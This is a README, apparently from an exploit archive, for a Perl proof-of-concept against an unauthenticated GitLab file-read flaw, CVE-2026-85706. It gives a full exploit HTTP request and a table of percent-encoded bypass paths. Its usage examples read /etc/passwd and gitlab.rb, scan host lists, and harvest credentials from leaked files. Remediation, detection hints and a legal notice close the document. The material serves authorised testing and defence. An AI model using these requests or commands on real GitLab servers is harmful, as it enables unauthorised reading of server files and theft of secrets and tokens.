## https://sploitus.com/exploit?id=9F095C94-C184-57EC-B4F6-7C9F19938066
# CVE-2026-85706 β GitLab Unauthenticated Arbitrary File Read
[](https://vulners.com/cve/CVE-2026-85706)
[](https://gitlab.com)
[]()
[](https://attack.mitre.org/)
> **For authorized penetration testing and Red Team operations only.**
> Unauthorized use constitutes a criminal offense. See [Legal Notice](#legal-notice).
---
## Overview
**CVE-2026-85706** is a CVSS 10.0 path traversal vulnerability in GitLab Community and Enterprise Editions that allows a completely **unauthenticated attacker** to read **arbitrary files** from the server filesystem with a single HTTP request. No credentials, no token, no user interaction required.
- **Disclosed:** September 10, 2026
- **First exploitation observed:** September 11, 2026 (within 6 hours of disclosure)
- **CISA KEV Added:** September 11, 2026
- **Fixed in:** GitLab 19.1.8 / 19.2.6 / 19.3.2
---
## Affected Versions
| Branch | Vulnerable Range | Fixed In |
|--------|---------------------|----------|
| 18.x | 18.7 β 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 β 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 β 19.3.1 | 19.3.2 |
---
## Technical Analysis
### Architecture Context
GitLab's HTTP stack has three layers:
```
Internet β [Nginx] β [Workhorse (Go)] β [Puma (Ruby/Rack)] β [Rails/Grape API]
```
**Workhorse** acts as a smart reverse proxy: for certain "upload" endpoints (repository commits, file operations), it reads multipart request bodies, saves file data to disk, and rewrites the request before forwarding it to Puma. Crucially, it attaches a **JWT header** (`Gitlab-Workhorse-Api-Request`) to every request it proxies. Rails then validates this JWT (via `require_gitlab_workhorse!`) before executing any handler logic.
### Root Cause β Three-Layer Path Decoding Mismatch
**Layer 1 β Workhorse route matching:**
Workhorse matches request paths using a compiled regex that operates on the **raw, percent-encoded byte string**. It does NOT decode `%XX` sequences before matching.
**Layer 2 β Puma/Rack routing:**
Puma decodes `%XX` sequences **before** Grape routes the request. So a request to `/repository/%63ommits` is decoded to `/repository/commits` and routed to `CommitsController`.
**Layer 3 β Pre-auth file read:**
Once in the Rails handler (which is reached **without** Workhorse's JWT because Workhorse never matched the request), the handler reads `params[:file][:path]` from the query string and calls:
```ruby
File.open(params[:file][:path]) # β happens BEFORE authentication
```
### The Bypass Trick
By percent-encoding one character in a static path segment, the attacker's request slips past Workhorse undetected:
| Segment | Original | Bypass Form | Encoded Char |
|------------|------------|-----------------|--------------|
| `commits` | `commits` | `%63ommits` | `c` β `%63` |
| `commits` | `commits` | `%43ommits` | `C` β `%43` |
| `repository` | `repository` | `%72epository` | `r` β `%72` |
| `files` | `files` | `%66iles` | `f` β `%66` |
| (any) | `commits` | `commits/` | trailing slash |
| (any) | `commits` | `commits.json` | Grape suffix |
### Content Exfiltration Mechanism
After the file is opened, the content is exfiltrated via Rack's query-string parser:
```
Rack::Utils.parse_nested_query(File.read(path))
```
If the file contains a `%` **not followed by two valid hex digits** (which is common in Ruby config files, CI YAML, logs, etc.), Rack raises:
```
InvalidParameterError: Invalid parameter: invalid %-encoding ()
```
This 400-response body contains the **raw file content** up to and including the offending byte β revealing the file's contents to the unauthenticated caller.
Files without exploitable `%` sequences (e.g., clean `/etc/passwd`) return a `401` or parameter-validation error after the read: this acts as a **file-existence oracle** (the read still happened pre-authentication).
### Exploit Request Structure
```http
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
---
## MITRE ATT&CK Mapping
| Technique | ID | Implementation in this PoC |
|---------------|--------------|-------------------------------------|
| File and Directory Discovery | [T1083](https://attack.mitre.org/techniques/T1083/) | `--scan` mode probes 38 sensitive server paths |
| Credentials In Files | [T1552.001](https://attack.mitre.org/techniques/T1552/001/) | `--harvest` extracts keys/tokens/passwords from leaked content |
---
## Installation
### Requirements
| Module | Package | Role |
|--------|---------|------|
| `LWP::UserAgent` | `libwww-perl` | HTTP client (mandatory) |
| `LWP::Protocol::https` | `libwww-perl` | HTTPS support (mandatory) |
| `URI::Escape` | `liburi-perl` | Query-string encoding (mandatory) |
| `Term::ANSIColor` | `libterm-ansicolor-perl` | Colored output (optional) |
| `JSON` | `libjson-perl` | JSON output mode (optional) |
```bash
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
```
---
## Usage
```
Usage: exploit.pl [OPTIONS]
Target:
-u, --url GitLab base URL [default: http://localhost:8080]
-p, --project-id Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default β β€9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 β File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout Per-request timeout in seconds [default: 15]
-d, --delay Delay between requests in seconds (float) [default: 0]
-r, --retries Retry count on connection error [default: 2]
-A, --user-agent Override User-Agent string
```
### Quick vs Full check
| | Quick (default) | Full (`--full`) |
|---|---|---|
| **Requests** | β€9 (1 preflight + β€4Γ2) | 27+ |
| **Early exit** | Yes β stops at first confirmed differential | No β sweeps all 22 forms |
| **Version info** | No | Yes |
| **Bypass forms** | 4 representative Files API | All 22 (Commits + Files API) |
| **Best for** | Fast recon, large host lists | Pentest reports, `--file`/`--scan` prep |
**Quick check pipeline:**
1. `GET /api/v4/version` β reachability + GitLab hint
2. For each of 4 Files API bypass forms: probe `/etc/hostname` + unique canary
3. `canary β 'local file not present'` β§ `hostname β canary` β **VULNERABLE** (exit immediately)
4. All forms exhausted with no differential β **NOT VULNERABLE**
**Full check pipeline (`--full`):**
1. GitLab detection + version fingerprinting
2. Control probe (Workhorse baseline)
3. All 22 bypass forms Γ canary path
4. Differential confirmation with the best confirmed form
### `--project-id` and check modes
The `--project-id` flag is usable in every mode, including `--check` and `--check-host-list`. Understanding the interaction:
| Bypass group | Forms | Project ID dependency |
|---|---|---|
| Files API (`%66iles`, `%46iles`, `re%70ository/files`, β¦) | 14 | **None** β file read precedes project check by design of the CVE. Any ID (even non-existent) produces the correct signal. |
| Commits API (`%63ommits`, `%43ommits`, `repository/commits/`, β¦) | 8 | **Required** β project must exist and be anonymously readable. Returns `project-gate` if not. |
**Practical guidance:**
- `--check` (quick): uses only Files API forms β project ID irrelevant.
- `--check --full`: tests all 22 forms. If you know a public project ID, pass `--project-id ` to also confirm Commits API forms.
- `--check-host-list`: a single `--project-id` rarely maps to a public project across all hosts. Omit it.
### Examples
```bash
# Quick check β β€9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check β version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (β€9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
```
---
## Response Verdicts
| Verdict | Meaning |
|---------|---------|
| `leak` | **File content echoed** in the response body via Rack parse error |
| `leak-fragment` | Partial content echo via parameter-name fragment |
| `read-noecho` | HTTP 401 on bypass path β **ambiguous**: either file read happened pre-auth (vulnerable, clean content with no bad `%`-sequence), or auth fires before the read (patched server). Use `--check` to confirm via differential |
| `missing` | Bypass path worked; handler reached; file not present or not readable |
| `rewrite` | Workhorse intercepted this path form β bypass failed |
| `project-gate` | Commits API rejected the project; try Files API forms |
| `noroute` | Rails did not route this path variant |
---
## Improvements Over Original Python PoC
| Feature | Python PoC | This Perl PoC |
|---------|------------|----------------|
| Bypass path variants | 6 | 15 |
| Bulk file scanning (T1083) | β | β Built-in 38-path wordlist |
| Credential harvesting (T1552.001) | β | β 22 credential patterns |
| JSON output | β | β `--json` |
| File output / tee | β | β `--output` |
| File-existence oracle messages | Basic | Explicit, color-coded |
| Retry logic | β | β Configurable `--retries` |
| Per-request delay | β | β `--delay` (float seconds) |
| Custom User-Agent | β | β `--user-agent` |
| Namespace/project IDs | β | β Auto-encodes `/` β `%2F` |
| Verbose mode | β | β `--verbose` |
---
## Remediation
1. **Patch immediately:** Upgrade to GitLab 19.1.8, 19.2.6, or 19.3.2.
2. **Short-term:** Restrict public access to the GitLab instance via network controls.
3. **Credential rotation:** After patching, rotate all secrets that could have been exposed:
- `secret_key_base` and `otp_key_base` in `gitlab.rb`
- Database passwords
- SSH keys (`/home/git/.ssh/`, `/root/.ssh/`)
- CI/CD variables and runner registration tokens
- Deploy tokens and personal access tokens
### Detection
Hunt for `POST` or `PUT` requests to `/api/v4/projects/*/repository/` paths containing:
- Percent-encoded static segments (`%63`, `%43`, `%72`, `%70`, `%66`, `%46`, etc.)
- `file.path` query parameter
- Trailing slash or `.json` format suffix on `commits` or `files` endpoints
---
## References
- [CVE Record β cve.org](https://vulners.com/cve/CVE-2026-85706)
- [GitLab Patch Release 19.3.2](https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/)
- [The Hacker News β CVSS 10 coverage](https://thehackernews.com/2026/09/gitlab-cvss-10-file-read-flaw-draws-in.html)
- [Forkast News β Technical breakdown](https://forkast.news/one-http-request-every-file-on-the-server-gitlabs-cvss-10-commits-api-flaw-hits-active-exploitation-within-hours/)
- [Security Affairs β Active exploitation](https://securityaffairs.com/198945/hacking/gitlab-cve-2026-85706-one-http-request-no-authentication-full-file-read-exploited-within-24-hours.html)
- [Python PoC β guneykabel](https://github.com/guneykabel/cve-2026-85706)
- [MITRE T1083 β File and Directory Discovery](https://attack.mitre.org/techniques/T1083/)
- [MITRE T1552.001 β Credentials In Files](https://attack.mitre.org/techniques/T1552/001/)
---
## Legal Notice
This tool is provided **strictly** for:
- Authorized penetration testing engagements (written permission required)
- Red Team operations within contracted scope
- Security research in controlled, isolated laboratory environments
- CTF (Capture The Flag) competitions
- Defensive purposes: understanding the vulnerability to detect/mitigate it
**Unauthorized use** against systems you do not own or lack explicit written authorization to test is **illegal** in virtually every jurisdiction and may result in criminal prosecution under computer misuse laws (CFAA, Computer Misuse Act, etc.).
The author and contributors of this tool assume **no liability** for any misuse or damage caused by this software.
---
## Credits
- **Original Python PoC:** [guneykabel](https://github.com/guneykabel/cve-2026-85706) β initial proof-of-concept that demonstrated the core bypass technique
- **CVE Assignment & Disclosure:** GitLab Security Team
- **This Perl PoC:** Extended multi-form detection engine, credential harvesting, bulk scanning, JSON pipeline output, and differential confirmation logic